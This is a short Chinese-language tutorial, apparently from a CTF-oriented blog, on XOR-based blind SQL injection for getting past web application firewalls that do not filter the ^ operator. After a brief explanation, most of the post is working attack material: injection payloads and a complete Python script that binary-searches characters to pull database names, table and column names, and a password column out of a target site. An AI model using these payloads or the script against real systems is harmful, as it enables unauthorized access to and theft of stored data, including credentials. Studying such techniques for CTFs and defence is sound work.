0%

sql异或注入

sql异或注入

当waf过滤了很多东西,但是没有过滤异或(^)符的时候使用。

什么是异或注入

异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的

1^1=0 1^0=1

异或注入就是利用sql语句来进行盲注

例如:

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$);

这里就是看数据库的第变量1个字符是否等于变量2,如果相等就会变成1^1返回的是0,所以我们应该在最后再异或一个1

1
select * from student where Sname=1^(substr(database(),$变量1$,1)=$变量2$)^1;

这样如果数据库的第变量1个字符等于变量2就会返回1,然后再配合脚本实现异或注入


脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url = ""
pay=''
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 库名
#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
# 表名
# temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
# temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
pay = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url+pay)
time.sleep(0.04)
print(low, high, mid, ":")
if "Click" in r.text: #自行更改返回字符
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)

print("All:", column)